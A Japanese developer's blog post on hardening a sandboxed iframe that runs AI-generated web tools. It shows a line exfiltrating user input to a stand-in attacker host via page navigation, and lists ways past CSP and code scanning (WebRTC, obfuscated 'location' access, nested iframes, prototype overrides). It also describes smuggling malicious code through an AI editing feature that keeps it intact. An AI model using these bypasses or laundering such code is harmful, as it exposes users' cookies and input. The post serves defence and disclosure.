最初に
この記事は後編(というか長過ぎたので分けた記事)なので良ければ前編も見てほしいです!どんなアプリかも書いてあるのでそっちを最初に見たほうが理解も深まると思います!
ちなみに、自分はセキュリティのことを詳しくわからないのでほぼ全部分をAIに書かせてます、間違った情報を発信しないようにコードベースや一次情報を見させています。もし間違っていたらお問い合わせしてほしいです🙏
本題
今回出会ったのは、AIに悪意のある指示を送信し、サンドボックスを脱出してCookieや入力内容を外部に送信できたりする重大な問題。
最初は、ツールを sandbox 付きの iframe で動かして、CSPで default-src 'none' にしておけば安全だと思っていました。外部への通信は全部ブロックしているつもりだったので。
ところが実際にブラウザで試してみると、普通に外部にデータが届きました。
- ページ移動はCSPで止まらない
location.href = 'https://attacker.website.invalid/?d=' + 入力内容のように、iframe が自分自身を別ページに移動させると、URLに入れたデータごと外部に送れてしまいます。CSPのconnect-srcは fetch などの通信は止めますが、ページ移動は対象外でした。 - WebRTC もCSPで止まらない
STUNサーバーへの接続はCSPの外側なので、これも普通に外部と通信できました。CSPにはwebrtcという指定もあるんですが、Chromeでは効きませんでした。
対策1:危ないコードを検査ではじく
まず、生成されたコードに location や RTCPeerConnection が入っていないか、機械的に検査することにしました。ストアに公開するときはAIにも審査させます。
でも、これはいくらでも回避できます。const { location: l } = window や self['loc' + 'ation'] と書けば検査を通ってしまうので、いたちごっこでした。
対策2:ツールより先に防御コードを仕込む
次に、ツールのコードより先に動くスクリプトで、WebRTC を無効にしたり、フレームを作れなくしたりしました。ここからが本当の沼でした。
- iframe の中にさらに iframe を作ると、無効化していない新しいウィンドウが手に入って、そこから WebRTC が使えてしまう
- Shadow DOM の中に隠すと、フレームの監視から見えなくなる
- ツール側が
Element.prototype.removeなどの組み込み関数を書き換えると、防御コードが無効になる - 正規表現の
testは内部でexecを呼んでいるので、RegExp.prototype.execを書き換えられるだけで判定をすり抜けられる - SVG の中では HTML の解釈のされ方が変わるので、「検査したときは無害なのに、実際に挿入すると iframe になる」書き方ができてしまう
塞ぐたびに新しい抜け道が見つかる状態でした。
対策3:ツールを別のサイトで動かす
根本的に止めるには、ページ移動そのものを事前にキャンセルする必要があります。Navigation API の navigate イベントを使えばできるんですが、sandbox の iframe(opaque origin)の中では効きませんでした。
そこで、ツールを本体とは別の「本物のオリジン」で動かすことにしました。ただ、deniai.app のサブドメインだと本体と同じサイトとして扱われて、Cookie を植え付けられる危険があります。
結局、Cloudflare Workers の workers.dev を使いました。workers.dev は Public Suffix List に載っているので、追加費用なしで本体とは別のサイトとして扱われます。ここでツールを動かしています。仕組みとしては、実行用のページが先に防御コードを組み込み、そのあとでツールのコードを書き込みます。防御の組み込みに失敗したら、ツールは起動しません。
さらに、Chrome 152 から使える Connection-Allowlist ヘッダーを付けて、WebRTC も含めた通信をブラウザ自体に遮断させています。
結局いちばん効いたのは「生成側」で止めること
ここまでやって気づいたのは、AI が勝手に難読化した悪意のあるコードを書くことはまずない、ということです。本当に危ないのは、攻撃者が自分で書いたコードをストアに載せるケースでした。
実際、「AIで調整」に自作のコードを「元のツール」として渡して、「文字を大きくして」みたいな小さな変更を頼むと、AI は「元の機能は残す」ので、悪意のあるコードもそのまま残ります。それが「AIが生成したツール」としてストアに公開できてしまっていました。
なので最終的には、ブラウザから持ち込まれたコードは調整したあとも公開できないようにして、ストアに載るのはAI生成を通ったコードだけにしました。ブラウザ側で塞ぎきろうとするより、こっちのほうがずっと早かったです。
最後に
- CSP は通信の遮断を保証してくれない。ページ移動や WebRTC は素通りする
- MVPのままバグや脆弱性を放置せず、修正する
- 「たぶん大丈夫」ではなく、実際のブラウザで攻撃を試す
- 信頼できないコードと同じページで戦うなら、使う関数は全部先に確保しておく(あとから書き換えられる前提で)
- 防御に失敗したら起動しない(fail closed)
- 攻撃がどこから来るのかを先に考える。今回は「AIが勝手に」ではなく「人が意図的に」だった


No comments yet